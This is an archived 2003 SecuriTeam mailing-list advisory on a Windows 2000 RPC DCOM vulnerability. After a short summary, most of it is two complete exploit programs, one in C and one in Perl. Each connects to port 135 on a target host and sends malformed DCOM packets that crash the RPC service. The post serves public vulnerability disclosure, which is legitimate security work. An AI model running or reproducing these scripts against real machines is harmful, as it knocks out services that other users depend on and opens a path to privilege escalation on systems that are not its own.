[EXPL] Microsoft Windows 2000 RPC DCOM Interface DOS and Privilege Escalation Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/03

  • Next message: SecuriTeam: "[TOOL] Eraser, Sensitive Data Removal Tool" 
    To: list@securiteam.com
Date: 22 Jul 2003 14:05:43 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      Microsoft Windows 2000 RPC DCOM Interface DOS and Privilege Escalation
    Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    There is a vulnerability in the part of RPC that deals with message
    exchange over TCP/IP. The failure results because of incorrect handling of
    malformed messages. By sending a malformed messages to DCOM
    __RemoteGetClassObject interface,The RPC Service will be crashed, and all
    service and application depending on RPC service will become unstable. If
    the attacker has an account, he can hijack epmapper pipe and 135 port to
    elevate his security privileges (by impersontaing the RPC service).

    DETAILS

    Vulnerable systems:
     * Windows 2000 SP3
     * Windows 2000 SP4

    Exploit code (C):
    # By XFocus.org
    #include <winsock2.h>
    #include <stdio.h>
    #include <windows.h>
    #include <process.h>
    #include <string.h>
    #include <winbase.h>

    unsigned char bindstr[]={
    0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
    0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
    0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
    0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
    0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

    unsigned char request[]={
    0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
    0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
    0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
    0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

    void main(int argc,char ** argv)
    {
        WSADATA WSAData;
     int i;
        SOCKET sock;
        SOCKADDR_IN addr_in;
     
     short port=135;
     unsigned char buf1[0x1000];
     printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
    printf("Code by
    FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
     printf("Welcome to http://www.xfocus.net\n");
     if(argc<2)
     {
      printf("useage:%s target\n",argv[0]);
    exit(1);
     }

        if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
        {
            printf("WSAStartup error.Error:%d\n",WSAGetLastError());
            return;
        }

        addr_in.sin_family=AF_INET;
        addr_in.sin_port=htons(port);
        addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
     
     if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
        {
            printf("Socket failed.Error:%d\n",WSAGetLastError());
            return;
        }
     if(WSAConnect(sock,(struct sockaddr
    *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
     {
      printf("Connect failed.Error:%d",WSAGetLastError());
      return;
     }
     if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
     {
       printf("Send failed.Error:%d\n",WSAGetLastError());
       return;
     }

     i=recv(sock,buf1,1024,MSG_PEEK);
     if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
     {
       printf("Send failed.Error:%d\n",WSAGetLastError());
       return;
     }
     i=recv(sock,buf1,1024,MSG_PEEK);
    }

    Exploit code (Perl):
    #!/usr/bin/perl -w
    # By SecurITeam's Experts
    my $bindstr =
    "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

    my $request =
    "\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00";

    use Socket;
    $proto = getprotobyname('tcp');
    socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

    $IP = $ARGV[0];
    $target = inet_aton($IP);
    $paddr = sockaddr_in(135, $target);

    connect(S, $paddr) || die "connect: $!";

    select(S); $|=1;

    print $bindstr;

    sleep(2);

    print $request;
    sleep(2);

    select(STDOUT);
    close(S);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:benjurry@xfocus.org>
    benjurry and <mailto:expert@securiteam.com> SecurITeam Experts.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Eraser, Sensitive Data Removal Tool"

    Relevant Pages